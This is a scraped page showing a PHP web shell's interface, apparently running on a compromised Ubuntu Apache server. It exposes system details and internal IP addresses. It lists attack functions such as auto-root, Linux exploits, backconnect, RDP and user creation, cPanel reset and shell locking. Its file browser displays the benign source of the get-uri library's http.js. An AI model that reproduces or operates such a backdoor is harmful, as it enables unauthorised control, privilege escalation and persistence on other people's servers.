Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
get-uri /
dist /
[ HOME SHELL ]
Name
Size
Permission
Action
data.d.ts
428
B
-rw-rw-r--
data.js
1.6
KB
-rw-rw-r--
data.js.map
1.08
KB
-rw-rw-r--
file.d.ts
555
B
-rw-rw-r--
file.js
2.08
KB
-rw-rw-r--
file.js.map
1.33
KB
-rw-rw-r--
ftp.d.ts
410
B
-rw-rw-r--
ftp.js
3.12
KB
-rw-rw-r--
ftp.js.map
2.27
KB
-rw-rw-r--
http-error.d.ts
236
B
-rw-rw-r--
http-error.js
506
B
-rw-rw-r--
http-error.js.map
420
B
-rw-rw-r--
http.d.ts
872
B
-rw-rw-r--
http.js
7.08
KB
-rw-rw-r--
http.js.map
5.07
KB
-rw-rw-r--
https.d.ts
195
B
-rw-rw-r--
https.js
544
B
-rw-rw-r--
https.js.map
318
B
-rw-rw-r--
index.d.ts
1.7
KB
-rw-rw-r--
index.js
2.09
KB
-rw-rw-r--
index.js.map
1.13
KB
-rw-rw-r--
notfound.d.ts
280
B
-rw-rw-r--
notfound.js
499
B
-rw-rw-r--
notfound.js.map
262
B
-rw-rw-r--
notmodified.d.ts
264
B
-rw-rw-r--
notmodified.js
538
B
-rw-rw-r--
notmodified.js.map
270
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : http.js
"use strict"; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; Object.defineProperty(exports, "__esModule", { value: true }); exports.http = void 0; const http_1 = __importDefault(require("http")); const https_1 = __importDefault(require("https")); const events_1 = require("events"); const debug_1 = __importDefault(require("debug")); const http_error_1 = __importDefault(require("./http-error")); const notfound_1 = __importDefault(require("./notfound")); const notmodified_1 = __importDefault(require("./notmodified")); const debug = (0, debug_1.default)('get-uri:http'); /** * Returns a Readable stream from an "http:" URI. */ const http = async (url, opts = {}) => { debug('GET %o', url.href); const cache = getCache(url, opts.cache); // first check the previous Expires and/or Cache-Control headers // of a previous response if a `cache` was provided if (cache && isFresh(cache) && typeof cache.statusCode === 'number') { // check for a 3xx "redirect" status code on the previous cache const type = (cache.statusCode / 100) | 0; if (type === 3 && cache.headers.location) { debug('cached redirect'); throw new Error('TODO: implement cached redirects!'); } // otherwise we assume that it's the destination endpoint, // since there's nowhere else to redirect to throw new notmodified_1.default(); } // 5 redirects allowed by default const maxRedirects = typeof opts.maxRedirects === 'number' ? opts.maxRedirects : 5; debug('allowing %o max redirects', maxRedirects); let mod; if (opts.http) { // the `https` module passed in from the "http.js" file mod = opts.http; debug('using secure `https` core module'); } else { mod = http_1.default; debug('using `http` core module'); } const options = { ...opts }; // add "cache validation" headers if a `cache` was provided if (cache) { if (!options.headers) { options.headers = {}; } const lastModified = cache.headers['last-modified']; if (lastModified) { options.headers['If-Modified-Since'] = lastModified; debug('added "If-Modified-Since" request header: %o', lastModified); } const etag = cache.headers.etag; if (etag) { options.headers['If-None-Match'] = etag; debug('added "If-None-Match" request header: %o', etag); } } const req = mod.get(url, options); const [res] = await (0, events_1.once)(req, 'response'); const code = res.statusCode || 0; // assign a Date to this response for the "Cache-Control" delta calculation res.date = Date.now(); res.parsed = url; debug('got %o response status code', code); // any 2xx response is a "success" code const type = (code / 100) | 0; // check for a 3xx "redirect" status code const location = res.headers.location; if (type === 3 && location) { if (!opts.redirects) opts.redirects = []; const redirects = opts.redirects; if (redirects.length < maxRedirects) { debug('got a "redirect" status code with Location: %o', location); // flush this response - we're not going to use it res.resume(); // hang on to this Response object for the "redirects" Array redirects.push(res); const newUri = new URL(location, url.href); debug('resolved redirect URL: %o', newUri.href); const left = maxRedirects - redirects.length; debug('%o more redirects allowed after this one', left); // check if redirecting to a different protocol if (newUri.protocol !== url.protocol) { opts.http = newUri.protocol === 'https:' ? https_1.default : undefined; } return (0, exports.http)(newUri, opts); } } // if we didn't get a 2xx "success" status code, then create an Error object if (type !== 2) { res.resume(); if (code === 304) { throw new notmodified_1.default(); } else if (code === 404) { throw new notfound_1.default(); } // other HTTP-level error throw new http_error_1.default(code); } if (opts.redirects) { // store a reference to the "redirects" Array on the Response object so that // they can be inspected during a subsequent call to GET the same URI res.redirects = opts.redirects; } return res; }; exports.http = http; /** * Returns `true` if the provided cache's "freshness" is valid. That is, either * the Cache-Control header or Expires header values are still within the allowed * time period. * * @return {Boolean} * @api private */ function isFresh(cache) { let fresh = false; let expires = parseInt(cache.headers.expires || '', 10); const cacheControl = cache.headers['cache-control']; if (cacheControl) { // for Cache-Control rules, see: http://www.mnot.net/cache_docs/#CACHE-CONTROL debug('Cache-Control: %o', cacheControl); const parts = cacheControl.split(/,\s*?\b/); for (let i = 0; i < parts.length; i++) { const part = parts[i]; const subparts = part.split('='); const name = subparts[0]; switch (name) { case 'max-age': expires = (cache.date || 0) + parseInt(subparts[1], 10) * 1000; fresh = Date.now() < expires; if (fresh) { debug('cache is "fresh" due to previous %o Cache-Control param', part); } return fresh; case 'must-revalidate': // XXX: what we supposed to do here? break; case 'no-cache': case 'no-store': debug('cache is "stale" due to explicit %o Cache-Control param', name); return false; default: // ignore unknown cache value break; } } } else if (expires) { // for Expires rules, see: http://www.mnot.net/cache_docs/#EXPIRES debug('Expires: %o', expires); fresh = Date.now() < expires; if (fresh) { debug('cache is "fresh" due to previous Expires response header'); } return fresh; } return false; } /** * Attempts to return a previous Response object from a previous GET call to the * same URI. * * @api private */ function getCache(url, cache) { if (cache) { if (cache.parsed && cache.parsed.href === url.href) { return cache; } if (cache.redirects) { for (let i = 0; i < cache.redirects.length; i++) { const c = getCache(url, cache.redirects[i]); if (c) { return c; } } } } return null; } //# sourceMappingURL=http.js.map
Close